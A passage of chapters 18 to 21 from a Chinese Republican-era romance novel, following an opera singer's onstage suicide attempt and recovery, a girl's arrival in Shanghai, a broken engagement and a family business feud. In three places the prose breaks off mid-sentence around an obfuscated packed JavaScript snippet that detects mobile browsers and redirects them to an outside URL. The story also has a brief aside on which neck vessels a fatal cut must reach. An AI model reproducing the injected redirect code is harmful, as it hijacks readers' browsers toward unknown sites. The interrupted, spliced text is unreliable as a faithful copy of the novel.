虽然有霍二少爷未婚妻的名头压着,可这年头不比早先,然而没等班主观望好,梁瑾已经被人从萧府抬到医院里了,这是彻底被人嫌弃了,于是原本戏班前途大好的台柱子,一下变成了烫手山芋。 班主唯恐既得罪了霍二少,又得罪了萧二小姐,索性借此机会,直接把梁瑾送到孙老爷子面前。 生死有命,富贵在天,怨不得别人。 而梁瑾,恐怕也已知道。 萧瑜定定望着戏台上那凄凄楚楚的虞美人,沉默不语。 “愿以君王腰间宝剑,自刎于君前!” 虞姬欲夺剑,霸王不忍,再躲,再避,三夺未果,虞姬谎称帐外汉军杀进,霸王信以为真,转身去看,虞姬趁机一把抽出霸王腰间宝剑—— 只见寒光一闪,就架在了颈上。 萧瑜手中一紧,茶杯差点捏碎。 那把剑,是开了刃的。 此时此刻,有意无意回避了整场戏的目光终于交错,穿过人海尘烟,穿过浮光灯影,梁瑾痴痴的望着台下的萧瑜,他动了动唇,终究是没说出什么。 然而那双凤眸,也真真是风流婉转,明致嫣然,会说话的。 萧瑜不期然就想起了他挂在嘴边的那句话: 我认定了的事,就是一辈子。 又想起那夜送他回家那句戏言:云老板也是真情真性的痴人。 也许他统统当了真。 虞姬吐出此生最后一个字: “罢!” 而后悠然转身,长剑一刎,鲜血直流。 萧瑜骤然长舒了一口气,靠回了椅背上,这才发现,自己后背出了一层冷汗。 一颗心仿佛自冷水烈火里提溜了一来回,终于轻巧的落了回来。 舞台见血,众人一惊,有些骚动,梁瑾站在台上对自己还没倒下有些反应不过来。他抬头看向萧瑜,没等说什么,就被旁边的霸王用披风兜头罩住,拖了下去。 孙敬祺张了张嘴,目瞪口呆看向萧瑜:“这,这算怎么回事?” 萧瑜一口将早就冷透了的茶水喝光,随手把茶杯扔在桌上,淡淡道: “他没抹对地方。” 18. 第 18 章 自刎这件事,并不是你拿剑往脖子上随便一抹就能成事儿的。 从西医人体解剖学上讲,你要切断颈外静脉,再不济也要切断气管才能死得了。 但梁瑾都没切对。 多大的命啊! 这个小插曲很快过去,下人匆匆上来擦了血迹,下一处戏剧接着开场,有些人根本没看清发生了什么,有些人假装没看清发生了什么,总之,一切就像什么都没发生一样。 只有二楼正台,孙老爷子的脸黑了。 今天庆祥班是不能善了了。 再一出还是武戏,咣叮咣叮,咿咿呀呀的,台上演的什么,萧瑜定睛看了半晌都没看进去。 沉吟片刻,萧瑜轻声开口:“敬祺——” 话没说完,孙敬祺噗嗤一乐,等了很久一样: “我就看你能不能憋到这出戏唱完再跟我开这个口。” 萧瑜瞪了他一眼:“你就说帮不帮吧?” 孙家上下都把这九少爷当眼珠子一样护着,能在这风口浪尖从孙大老爷手里救下人的,也就只有他了。 “冲你难得低声下气叫我一次名字,我也得帮啊——”孙敬祺拿腔作势拉长调子:“可这帮也不能白帮。” “你开个价。” “谈钱多俗啊!” “你到底想要什么?” “我要你以后离我们家迟迟远一点!别遇见一个,招惹一个。”孙敬祺忿忿不平的嘟囔:“当年你一句‘迟迟更鼓初长夜,耿耿星河欲曙天’怎么就叫她记了这么多年?” 萧瑜哑然失笑,瞧西洋景一样瞧他:“九少,我能怎么着她?我又不是真真的‘萧二少’。” “那可说不好,我寻思着当年给你批八字儿那位也是个高人,命犯桃花真就说对了。前有霍锦宁这么多年非你不娶,后有碧云天为你台上自刎,还有迟迟莫名其妙的惦记着你,这是知道的,不知道的指不定有多少。” 孙敬祺语重心长道:“风流是债,早晚得还,你小心着点。” 萧瑜笑了一声,轻描淡写道:“这不就讨上门来了么。” . 萧瑜带人等在孙府后门,左等右等还没信儿。 她觉得怀里这只西洋表大概是坏了,磕哒磕哒走了半天还没走到一圈。 不知过了多久,两扇小木门终于打开,从里面抬出个半死不活的人来,身上还盖着那霸王的黑披风。 萧瑜上前掀开一看,如意冠东倒西歪,鱼鳞甲七零八碎,梁瑾身上让鞭子抽得一道道血痕,脸上一道尤为狰狞,脖子上那口子还血肉翻着,一整张脸胭脂血污花的不成样子。 她叹了口气,一招手,身边等待多时的医生立刻上前,七手八脚把他抬进车子里。 现在往医院送那就是公然打孙大老爷的脸,萧瑜只能让人送去燕子胡同她那院子里,叫医生来治着。 这回才是真正的生死有命了。 ...... 从笙溪到上海的路程并不远,可是对几乎没出过远门的阿绣来说,实在是很远。 无论是头次坐车的新鲜感,还是背井离乡的伤感,阿绣都没有空理会了,她晕车晕得昏天黑地。 一路上,走走停停,路过不少地方,霍锦宁都会带着霍吉下车办事,留阿绣和司机在车上等着,于是那股眩晕感也断断续续。 入夜,终于到了上海。 车子驶过黄埔江,驶过金碧辉煌的外滩,这座城市如同灯火璀璨的不夜城,交织着欲望与奢靡,希望与堕落,令人迷失,令人沦陷。 可惜阿绣一直在用尽全部的力气克制住自己不要吐出来,连这十里洋场的繁华夜景都没来得及看。 汽车开进弄堂里,停在了一座二层小公寓楼门口,门口一盏暖黄的灯下恭候着的老伯为霍锦宁打开车门。 “少爷。” “丁伯,都安排好了吗?” “安排好了,少爷,我们中午就来这儿收拾,现在可以直接住人了。” 霍锦宁点点头,对阿绣道:“这是丁伯,你先跟他进去吧,我还有事。” 阿绣低声应下,抬头看着他,欲言又止。 她没说话,可她的眼睛里写满了胆怯,害怕,还有不自觉的依赖。 好像是刚刚破壳而出的幼崽,对这个陌生的世界充满了好奇与恐惧。 霍锦宁心里软了三分,忍不住抬手摸了摸她的小脑袋,轻声说:“去吧,别害怕。” “嗯。” 阿绣跟在丁伯身后,走进公寓,临近门前,她回过头,见霍锦宁早就坐上了车子,汽车发动起来,很快开远,消失在了街角。 “这位小姐——” 阿绣被这称呼吓了一跳,急忙说:“我、我不是小姐,我叫阿绣,叫我阿绣就好。” 丁伯善意的笑了笑:“阿绣姑娘,一路奔波,累了吧?先让阿香带你先去休息,等晚饭好了,我会让丁妈叫你的。” 阿绣有些不好意思,可她实在是太累了,坐在车子上,她浑身僵硬,胳膊腿都很酸疼,头也晕乎乎的,只想随便找个塌子,一头栽倒在上面。 阿香是个比她大不了几岁的小姑娘,圆圆脸庞,看起来又憨厚又和气,她笑眯眯的说:“阿绣姑娘,我是丁香,你跟我来。” 阿绣稀里糊涂的跟在丁香身后来到二楼的卧房,耳边还听丁香嘱咐了她一些事情,她勉强点头应下。 等丁香一走,她就迫不及待的栽倒在了床上。 她想着要小睡一会儿,就一会儿,然后要起来帮丁伯丁妈端菜盛饭,收拾碗筷...... 一闭上眼,天旋地转,渐渐地,失去了意识。 . 这一觉睡得很不安稳,梦里支离破碎的片段不停在眼前闪现。 一会儿是奶娘抱着她唱着温柔的小调哄着她睡觉,一会儿是哑阿婆塞给她一个水灵灵的鸭梨比手画脚示意着很甜,一会儿是凤姑笑盈盈伸指点着她的额头嫌她嘴笨,她罕见的回口,调皮道: “不笨不笨,笨也要凤姑养一辈子。” 凤姑脸色骤然变了,她尖叫道:“我才不要你,你这个小扫把星!拖油瓶!” 然后凤姑的脸忽然变成何家大太太的,她向阿绣伸出手,“阿绣,我表弟来迎亲了,你怎么还没换上喜服?” 阿绣转身拼命的逃,可是身后有许多人在追她,看得清脸的,看不清脸的,只要一旦捉住,她就要被带到天涯海角。 她在高大的红墙里,空阔的宅院中跑啊跑,跑得气喘吁吁,可仍旧无边无际没有出路,她想喊,张口却是婴孩的啼哭,突然被绊了一跤,跌进了一个温暖的怀抱里。 她抬头,却看不清这个人是谁,只觉得他身上的气息好熟悉好熟悉,好像是霍少爷,又好像不是霍少爷。 这个人在她耳边笑着说:“珍珍又做噩梦了?” 然后阿绣猛的睁开眼睛。 她醒了。 失神的看着头顶轻薄的蕾丝床帐,慢慢的,她想起来了昨天一天发生的事情,她想起来了此时此刻自己躺在哪里。 大太太要给她说亲,凤姑要和木匠李去广州,霍锦宁要离开笙溪镇,而她居然跟着他走了。 她在上海,在那个听人说十里洋场,笙歌不夜的上海! 昨天没有来得及细看,此刻她好奇的打量着这间卧室,精致典雅,是她从未见过的西式风格,玉兰模样的盘花吊灯,样式新奇的桌椅柜子,雕花落地的水银镜,垂着蕾丝帐幔的黄铜架子床,还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿绣愕然:“他不住在这里?” 丁香笑了起来:“少爷当然不住在这里,他住在霍公馆,或者小福园别墅,这里一直都是空房子,昨天少爷才吩咐我和爹娘过来收拾。” “那他为什么让我住在这里?” 她以为她会做他的丫鬟,细活丫鬟,粗使丫鬟,甚至烧火丫鬟都成,可是为什么把她单独安排在里? 丁香和丁妈面面相觑,似乎也不知道原因。 丁伯开口,温和笑道:“姑娘,少爷只吩咐我们老两口和阿香来照顾你,别的一概没说。只是少爷的安排总是有他的道理,也许等他下次来的时候就会告诉你。不用害怕,你且安心的住下来,一切听少爷再吩咐就是。” “......好。”阿绣似懂非懂的点了点头,心里有些不踏实。 丁香却欢快的说:“别的我不知道,昨晚霍吉大哥可是说,让我爹今天开车领着你去买衣裳。姑娘,等吃完饭,我和娘陪你一起去,我好久都没去街上热闹地方了!” 阿绣微愣:“买衣裳?” “没个正形!”丁妈嗔怪了丁香一句,对阿绣解释:“既然是霍小哥说的,那就是少爷吩咐的,姑娘,别多想,快吃吧,一会儿饭该凉了。” 阿绣觉得晕乎乎的,也许,昨天的头晕还没好利落? 她听话的乖乖低头,咬了一口粢饭团,软嫩的糯米,咸香的肉松,脆生生的油条混合在一起,真的很好吃,从昨晚就没吃饭的肚子咕噜噜的叫了起来。 嗯,还是,先吃饭吧。 19. 第 19 章 “小姐......” 霍祥一脸为难的磨蹭进屋子,欲言又止。 萧瑜难得抽出空,想看一看自家戏楼雇佣的经理这几天递上来的账本,抬眼见他的表情,几乎就猜到他要说什么。 “说吧。” 霍祥如蒙大赦,赶紧开口:“小姐,小六子传信儿说,燕子胡同那位爷这几天不吃不喝,眼看着怕是不成了,让您说什么也得去看看啊。” 呵,萧瑜轻笑一声,还发起少爷脾气了不成?真以为她有天大的耐心? 上次从孙府把梁瑾救出来,就直接拉去了燕子胡同她那小四合院,几位医生忙忙乎乎到后半夜,又缝针,又输血,又上药,人是给救回来了,剩下一身的伤,只能慢慢静养着。 她都不嫌麻烦,他倒寻死觅活起来了。 霍祥观察着萧瑜的脸色,赔着小心劝道:“小姐,您还是去看看吧,这云老板万一真出个好歹,可不让您白费了力气嘛。” “人家自己都不惜命,我费力气有什么用?”萧瑜不紧不慢道,而后想起什么一样,她看向霍祥: “我说霍祥,你好歹是从小在你少爷身边长大的,如今怎么还为外人说上话了?” “小姐您说哪儿的话?我跟在少爷身边长大,那不也是跟在您身边长大的!现在我跟了小姐您,那就是跟您一条心,只要您顺心了,叫我霍祥上到山下火海都成。比起吉哥,我给您打点生意张罗买卖是差点,可要别的没有,赤胆忠心,您就瞧好吧!” “比起你哥哥,你就这张嘴!” 萧瑜懒懒散散起身,“好吧,为了你这赤胆忠心,我也得去瞧瞧啊,好歹新买的院子,可别没几天就给我闹出人命。” “好勒,霍祥这就给您开车去!” . 起初萧瑜买这四合院,也没什么具体用处,她喜欢买房子,手里有闲钱,就随意置办的。 院子是两进的小四合院,青砖灰瓦,玉阶丹楹,两扇黑漆大门,一对黄铜门钹,垂花门通着内宅外宅,院内绿树成荫,繁花似锦,青瓷鱼缸,锦鲤游戏,别有一番雅致。 萧瑜没闲情品味这些,穿过垂花门,她直奔西厢房而去。 小六子端着放冷了的饭菜垂头丧气出来,抬头正好撞见萧瑜,他吓了一跳,支支吾吾道: “小姐,你看这......” 萧瑜点头,摆手示意他端下去,顾自走进了屋里。 只见里间黄花梨木罗汉床上,一人只穿轻薄单衣侧卧,脸冲着内里,对来者不闻不问。 萧瑜刚走两步,脚下忽而踩上了一硬物,俯身低头捡起来一看,是个貌不惊人的花色蛤喇壳子,圆溜溜,光滑滑。 她掂量了几下,握在手里,走到床边坐下来,悠悠开口: “当日你那把剑往右再偏那么半寸,而今也不用这么麻烦,你就直接能去见十二花神了。” “也别这么耗着了,要不再给你一次机会?我这儿倒没有楚霸王的宝剑,厨房有一杀猪刀,你凑合凑合成不?” “我就纳了闷了,这一个个遇着事儿怎么就只会一死百了,把烂摊子扔给活人,心里就这么过意得去?” 这话她想说很久了,不只是对梁瑾,还有当年的小月娥。 这世上是不是除了男欢女爱就没旁的事儿可顾了? 国未盛,家未兴,有这力气干点什么别的不成。 眼见梁瑾依旧充耳不闻,侧躺露出的瘦削肩膀微微颤抖,比往日里清减不少,也不是知道还能不能搭上那五彩缨络的云肩。 她轻叹一口气,伸手搭上他的双肩,把他身子扳正过来。 “这么躺着也不怕压着伤口。” 梁瑾由着她,缓缓转过身来,只见他脖子上缠着纱布,右脸上那鞭伤未愈,惨白的脸上一道鲜红,他双眸低垂,长睫轻颤,看也不看她。 脸上尚且如此,身上的伤可就更惨了,下令那人即使不要他命,也是诚心的想毁了他。 他本就生的秀美,这般愁容惨淡,还真有三分扶风弱柳,病如西子的味道,让人平生怜意。 然而他一开口,声音干哑,却还是个硬气少年。 “二小姐,你是不是打心底里瞧不起我?” “我何时说过?” “不用说。” 他苍白笑了笑,轻声说:“谁能瞧得起一个下三滥的戏子?命都拿捏在别人手里,旁人要你死就死,要你生不如死,就生不如死。” 萧瑜顿了顿,淡淡道:“我瞧得起瞧不起有用吗?你心里头早就自己给自己答案了。人各有命,要么忍,要么改,要么鱼死网破,死也别死得那么憋屈。” 梁瑾抬眼,深深的望向她,缓缓道:“可我已经一无所有了。” 那眼里情愫太深,太厚,太决绝,也太无望,让萧瑜一时间几乎不敢对视。 她不着痕迹的错开视线,“今日没有,保不齐以后就有了,一剑抹脖子上可真就全完了。” “能有什么?” “一辈子那么长,以后的事儿,谁说的准?” 她漫不经心随口道:“你今日性命叫人拿捏,不过是因为唱得还不够红,声名还不够响,他日你名噪京城,唱出北京,唱到上海广州,唱到巴黎纽约,站在世界最大的舞台上,我看谁还敢拿捏你?” 他一愣:“会有这么一天吗?” “那要看是谁来捧,怎么捧了。”她意味深长。 他被她天马行空的妄想说得失神片刻,而后眼中光芒又渐渐黯淡下来,转过脸去,露出那条鲜红的伤口,语气萧索: “可我没有以后了。” 台上鼓声灯影,念唱作打,甭管生旦净末丑,靠的就是这一张嘴,一张脸,尤其他这千娇百媚的乾旦。如今脸上一道疤落下来,往后纵有水粉胭脂遮挡一二,终究是美玉有瑕,成了次品,落了下乘。 他七岁入行,在台上唱了整整十二年,从小学的是落花醉步闺门旦,唱的是水磨米粉昆山腔,演的是悲欢离合折子戏,小半辈子为戏生为戏死,除此以外,身长无物。 倘若离了这梨园行,他不知自己靠什么活下去,为什么活下去。 “上不了台前,可以在幕后,演不了佳人,可以教人,开宗立派,著书立传,要是说混个饭碗,怎么吃不行?况且,你这也不算破相。” 她故意说:“即便真能落下疤来,保不齐能成你一大特色,而今争奇斗艳的旦角儿,老少爷们兴许都看腻了,就喜欢新鲜猎奇,与众不同的。以后就指着你这疤脱颖而出,一炮而红呢!” 他果然被气到了,想说什么又被呛了下,撕心裂肺咳了半天,忿忿的瞪了她一眼,扭过头不再看她。 她笑个不停,伸手推了推他:“诶,真气着了?我胡说八道呢!” 推了几下,他仍不理她,半晌,她听他闷闷开口,有丝别扭,有丝惶恐: “你说过,看不上眼皮相不好的杜丽娘。” 萧瑜一愣,一时间想不起自己何时说过这句话来,纳闷了好半天,才想起来,这是当初碧虚郎挤兑他徒有其表的时候,她随口的安慰。 没想到,他在心里巴巴的惦记了这么久。 她想笑,可笑声到了嘴边,却终究是轻轻一叹。 何苦为了这么句戏言这样想不开? “你转过来。” 梁瑾顿了顿,到底是依言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424882|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转过头来。 只见萧瑜拿着那个方才一直在手里焐热的蛤喇壳,轻轻翘了开,双壳轻分,露出里面已经软化了的蜜色药膏来。 她慢条斯理道:“虽然其貌不扬,但这可是仁济堂千金难求的秘方,就这么被你扔到了地上?段郎中的爹可是当年宫里给达官显贵看病的御医,什么大场面没见过,他说不能留疤,你脸上划成棋盘了也留不了!” 她白皙纤长的双指沾上了蜜色的药膏,然后在梁瑾愣怔之时,俯下身来,抹在他的右脸上。 那样的温柔凉意,从皮肤上渗透开来,激得梁瑾浑身一颤。 “别动。” 她吐气如兰,就这么喷薄在他的呼吸之间。 “疼就吱声,我这可是头一回给人上药。” 梁瑾定定的望着咫尺之间的那张脸,平日里男装短发,英气勃发,让人难免忽视了她的相貌。 她惯常不施粉黛,皮肤却像上好的白瓷美玉,光滑幼嫩,五官也生的极好,双燕眉,桃花眼,鼻梁挺翘,嘴角天生上扬,含着一抹轻佻疏离的笑。 这人从来风流俊俏,有意无意间搅乱一池春水,蜂飞蝶舞,他一直知道。 感受道那近在咫尺的目光愈来愈炽热,萧瑜淡淡道:“闭眼。” 那双凤眼轻阖,可手下的皮肤却是渐渐滚烫了起来。 “成了。” 终于上忘了药,萧瑜舒了一口气,可又有些后悔。 刚想收回右手,却突然被人握住。 那只手炽热,胆怯,却又坚定。 梁瑾缓缓睁开双眼,四目相对。 萧瑜不自觉屏息了一瞬。 他在她淡漠的注视下,慢慢把她的手拉到唇边,侧过头,轻轻的碰了一下。 他许久滴水未进,嘴唇干涸,没有柔软,萧瑜只觉得手上被毛拉拉的纸边划了一下,条件反射一缩。 可他没有放手。 她没什么表情,垂眸沉默了片刻,忽而俯身,似笑非笑在他耳边道: “怎么,身上的伤也想让我来抹药?” 梁瑾呼吸一乱,还没等反应,就被萧瑜抽回了手。 “你记得一天三遍的上着药,忌着口,且养着,总会好的。” 萧瑜坐直身子,随意掸了掸肩上的灰尘,问道:“这回愿意吃东西了吧?想吃什么,叫小六子给你现做。” 梁瑾顿了一下,只说:“豌豆黄。” 萧瑜失笑:“那点出息!算了,我让他自己看着办吧。” 说罢她起身要走,梁瑾忽然道:“二小姐。” “怎么?” “庆祥班......现在如何了?” 萧瑜回过头,见他又将脸转向内里,看不见表情。 “你前脚抹了脖子被带下去,班主后脚就撞了柱子,庆祥班已经散了,其余众人都各谋生路去了。” 梁瑾沉默不语。 萧瑜宽慰他:“你暂时不能出去登台,不过不要紧,风水轮流转,谁知这孙家什么时候倒台,如今先把身子养好了重要。我先走了。” 她起身出门,忽听身后又唤道:“二小姐。” 又有什么事? 她停住脚步,却没回身,只听梁瑾道: “我有句话,无论你信不信。” “什么?” “旁人学戏,也许是为了混口饭吃,我学戏,是为了二小姐你。” 人生在世,就活着个念想,她就是他的执念,他的妄想,他的求而不得,他的辗转反侧。 到如今,整整十二年了。 萧瑜在原地顿了片刻,终究是出门而去。 “你好好养伤。” 20. 第 20 章 萧瑜回府时,大管家已恭候许久了,他敷衍的恭敬中透漏着倨傲: “老爷请二小姐过去。” 这倒是稀奇了,她有好些日子没见过萧老太爷了,虽然她知道他连日里都在府衙忙着曹大帅的国会选举,也知道老太爷昨晚吃了两碗八宝粥,很有闲情的去了九姨太那里,但从小到大,萧老太爷主动要见她的次数屈指可数,而且次次都不是好事。 因着萧子显是他最得意的小儿子,所以他对萧瑜爱屋及乌,因着康雅惠抛夫弃子丢了萧家的脸面,所以他对萧瑜恨屋及乌,总之眼不见为净。 萧瑜刚一进厅堂,一物就扔了过来,砸在了她脚下,发出清脆声响。 她低头一看,是一羊脂白玉的圆玉佩,瞧着有些眼熟,细一想,原来这是当年她和霍锦宁的订婚信物,本是一对儿,上面雕的是龙凤呈祥。这上面雕的是龙,可惜已经碎成了两半。 她的是凤,很多年前被她埋在了沈月娘的坟前。 就在他们在病榻前立誓,为遵循沈月娘的遗愿和保全她名节,永远不将他二人是兄妹的事实说出去之后。 她俯身捡起来,放在手里端详了片刻,有些可惜。 抬头笑道:“祖父今天哪儿气不顺了,拿这死物撒气?” 厅堂里上首正坐的是萧老太爷萧如山,年过花甲,两朝重臣,他穿着旧式的宝蓝色长袍马褂,戴着嵌着夜明珠的瓜皮帽,半白长须,手住拐杖,活生生的大家族长,不怒自威。 萧瑜每次见他这么端坐在萧家死气沉沉的大宅子里,总觉得在他心里这大清还没亡,外头还是皇帝一家天下。 旁边坐着萧老太爷手捻佛珠的续弦夫人,并大伯大婶夫妻俩,擎等着给她三堂会审。 萧如山见她还笑得不疼不痒,简直气上加气,他重重顿了一下手中的拐杖,厉声道: “睁开你的眼睛好好瞅一瞅!这是你和霍二少爷的文定信物,霍家刚刚来人把它送了回来,他们退亲了!” 这倒是萧瑜意料之外,她扬了扬眉:“理由?” 萧如山狠狠的瞪了她一眼,倒是老夫人叹了口气,开口道: “霍家的人说,霍二少去苏州考察工厂,被人行刺,如今生死未卜。” 哟,这四个字可算是来了。 大婶却不轻不重的笑了下,接话道:“好个生死未卜,人远在上海,谁知道怎么回事?保不齐只是找个好看的借口罢了。这从外头留学回来的公子哥,退亲是常事,谁想到都巴巴的跟了去还是不成,刚一回来就被人扔了。诶,谁叫咱家门不幸,出了个穿裤子上青楼的大小姐,搁谁家愿意要啊!” 大伯皱了皱眉,“少说两句,还嫌不够丢人。” “我说说怎么了?早丢的人早都丢尽了,她现在残花败柳的没人要,萧家......” “够了!” 萧如山冷冷看了她一眼,大婶讪讪的噤声,而后斜眼剜了萧瑜一下。 萧瑜对她的话充耳未闻,不以为意。 严格说来,她与大婶远日无仇,近日无怨,她是长房长媳,她一个五房小姐,怎么算都碍不到她的事。 然而人总有排除异己之心,一群人死气沉沉活在一个院子里,等着老死烂死,偏生你想飞出去,那你就是异类,她们恨你恨得牙根直痒痒,恨不得把你拽下来,拔了翅膀,砍了腿,老老实实和她们一起烂死在这里。 萧如山恨恨道:“当初我纵着你,放着你,是霍家看得起你,是霍二少给你求情,没想到就纵成了你今天无法无天的德行!现在这门亲事黄了,你说你拿什么脸面对我萧家列祖列宗!” 瞧见没?她一活二十一年,在这个萧府,唯一的价值就是和霍锦宁的婚约。 “那就等我真见着萧家列祖列宗那天再说吧。” 反正您比我先。 “你——” 萧如山差点一口气没上来,身边小丫鬟赶紧伸手替他摩挲的后背:“老爷,您慢着点!” 大婶适时道:“老爷,您也别急,霍老爷在世时毕竟是跟您亲口定下的婚约,如今说退就退,也不是那回事,霍家经商,诚信为本,这个声誉他丢不起。现今他们许是只对咱们这位二小姐不满意,那么换一个婚约对象不就成了吗?” 老夫人此时明白了大婶的意思,也劝萧如山道:“儿媳说得不错,眼下咱家里没出阁的姑娘,琼儿年纪合适些,不如再和霍家商议商议?” 大伯倒还算想得周全,迟疑道:“万一那霍二少真的是遭遇了不测该如何?” 大婶瞪了他一眼:“人家退婚的借口,你还真信了?” 萧如山皱眉捻须,沉吟不语。 萧瑜忽而轻笑了一声:“今天退亲这事儿,我知道了,龙凤玉佩,我拿回去了,至于想换谁,或是想替谁,你们随意。” 说罢她扬了扬手,就要转身出门。 萧如山气得差点把拐杖摔碎:“混账东西,你去哪儿去?” “想必这几日祖父看见我就烦心,为尽孝道,我还是搬出去住为好。您放心,霍锦宁要是活着,他非我不娶,要是死了,我给他陪葬,不连累您愧对列祖列宗。” ...... 是夜,霍公馆里闯进了一位不速之客。 “三爷您留步,老爷已经睡下了!” “滚开!我今天一定要见到他!” 霍成宏双目赤红,神色激动,不顾下人的阻拦,站在客厅里喊道: “霍成宣,你给我出来!” “老三,大半夜的,怎么跑到我这里来闹事?” 霍成宏猛然回头,只见霍成宣身着睡袍,施施然从楼梯上走了下来,似笑非笑: “听闻你最近为工厂之事忙得焦头烂额,我瞧你倒是精神百倍嘛。” 霍成宏冷笑:“大哥,好手段,好计谋啊!” “老三,你这是什么意思?” “什么意思?那个叫汤普森的美国人难道不是你找来的纺织专家?他叫我们花重金买的机械统统不能运作!隆海资不抵债,你是要将我逼上绝路!” “汤普森?谁说他是纺织专家了,不过是锦宁昔日同窗,来中国江南一游罢了。况且老三你怎么会走上绝路?我听说可是有大把的买家等着收购隆海呢。” 霍成宏从他的话中意识到了什么,瞳孔骤缩,恨声道:“藤野老板也是你的人?” 虽然隆海是霍家的金字招牌,但如今市场不景气,连年亏损,他可不会留着隆海拖垮自己。近日里他已接洽过不少有意的买家,其中最有诚意的便是日本的藤野老板,开出的条件十分优厚,双方已在洽谈之中。 这些秘密的操作被人知晓,唯一的解释便只有始作俑者放出的烟雾弹了。 可霍成宣却只慢悠悠道:“我不认识什么藤野树野,老三,你自己想把父亲的心血卖给日本人,可别以为我也如此不肖。” 霍成宏怒极反笑:“大哥真是了不得,不惜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424883|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牺牲自己独子来挡枪,声东击西,也要谋夺兄弟的家产,如此不择手段,我看百年之后,谁于你送终!” “那也比不上三弟对亲侄儿下手来的狠毒啊,况且,谁说我无人送终了?” 话音落下,只见霍锦宁从偏厅中不慌不忙的走的出来,将端着的一壶咖啡放在了霍成宣身前的茶几上,抬眸对霍成宏轻轻一笑: “抱歉,三叔,你那一刀,没要了侄儿的性命。” 方此时,霍成宏终于明了,这一切都不过是父子俩个的一场请君入瓮的局。什么父子不和,什么不让霍锦宁插手家业,不过都是做给他看的好戏,诱得他主动出击,自乱阵脚,被人寻到了破绽,一子落错,满盘皆输。 不,此时谈输赢还太早! 霍成宏冷笑道:“你想要隆海,没那么容易,大不了我便做一回不肖子,就算把它砸在手里,我也不会给你!” “谁说我想要隆海了?”霍成宣似笑非笑。 霍成宏一愣,却不知他此话是真是假了。 他们彼此心知肚明,霍家产业庞杂,他霍成宏失去隆海,有所亏损却不至于伤筋动骨,而他霍成宣得到隆海,财源广进也不过锦上添花,二人争的只是这块霍家最初起家的金字招牌而已。有隆海纺织厂在手的霍家,才是昔日霍老爷子弃官从商,立志实业救国,一手建立的那个闻名海外的霍家。 可现在,霍成宣却说,他不要隆海。 “因为,国内纺织业最繁荣的年月,已经走到头了。” 开口的是霍锦宁,他的语气淡漠而悲悯: “昔日隆海设厂,是借洋务之东风,而后祖父在制度管理推陈出新,改进技术,才能在众多纱厂倒闭之时,勉力支持。及至民国元年以后,隆海得以迅速做大,是因列强忙于大战,无暇顾及纺织品输华,国内市场这才繁荣起来。可如今,世界战争已经结束了。” “外资竞争,棉贵纱贱,而之前厚利之下,设厂过多,市场已经无力承载。去年与隆海齐名的裕泰、苏纶、振华相继改组,福成、鼎新、久安已完全停工。而仅上个月的时间里《银行周报》上就有九家纱厂宣布破产登报拍卖。” “昔日黄金时代一去不复返,三叔,你觉得我们还有千方百计得到隆海的必要吗?” 霍成宏离开时,是失魂落魄,心灰意冷的。 他也许曾一时鬼迷心窍,想要出卖隆海,可这块霍家金字招牌,终究在霍家子孙心中的分量是不一样的。 海清河宴,国泰民安。 隆海永远是排在第一位的那个。 昔日实业救国论的热潮风靡全国,纺织厂面粉厂火柴厂遍地开花,国人一度看到了富国强民的希望,却终究是镜花水月,一场泡影罢了。 霍成宣也忍不住问道:“国内纺织厂当真没有丝毫前景?” “父亲想看到什么样的前景?”霍锦宁一笑,“内忧外患,纵观这几十年来,国内的实业发展,又何曾有过优良的环境?纺织业最繁荣的时代确实已经过去,但未必真正走到山穷水尽的一步,不过是事在人为。我在隆海所做一切,俱是尽力尽心,德国的机械确实先进,而我们却连一个会操作的工人也没有。三叔没输在商场,却输给了时代。” 他轻轻一叹:“他不该和日本人合作。” 如果不是这样,他也不会和父亲联手将他逼到这一步。东洋小国狼子野心,虎视眈眈,霍家的金字招牌即便是砸烂了,却也不能落到外人手中。 21. 第 21 章 霍家兄弟这一仗,霍成宣是势在必得了。 而霍锦宁以身涉险的这步棋,彷如是梁山好汉交的投名状,终于过得霍成宣最浅显的这一关了。 霍成宏走后,是属于父子两人的谈话。 霍成宣并不关心儿子的伤势,也不急得同他商议下一步计划,只道: “明晚大成公司的薛老板在茂林饭店有个酒会,你和我一同去。” 霍锦宁想起那日在宴会上见过的某位小姐,模样已记不清楚,却还清楚的记得被郑重其事介绍为谁谁家的女儿,不由轻笑了一下,慢条斯理道: “父亲,您前脚刚算计完亲兄弟,后脚却要来算计亲儿子,未免太过精明了些。” 霍成宣确有此意,见他挑明,也就直说了:“生意人当然精打细算,大成公司如今在上海滩如日中天,如果我们能联手,就是双赢的局面。难得薛小姐对你有意,你何不试着和她交往看看?” 霍成宣显然只是安排,并没有真的询问霍锦宁的意思,他喝了一口咖啡,随意道: “萧家那边,我已经派人去退亲了。” 霍锦宁苏州一行,与霍成宣不谋而合,一是声东击西,打霍成宏个措手不及,二是趁机试探,彼此交个底,可谓一箭双雕。 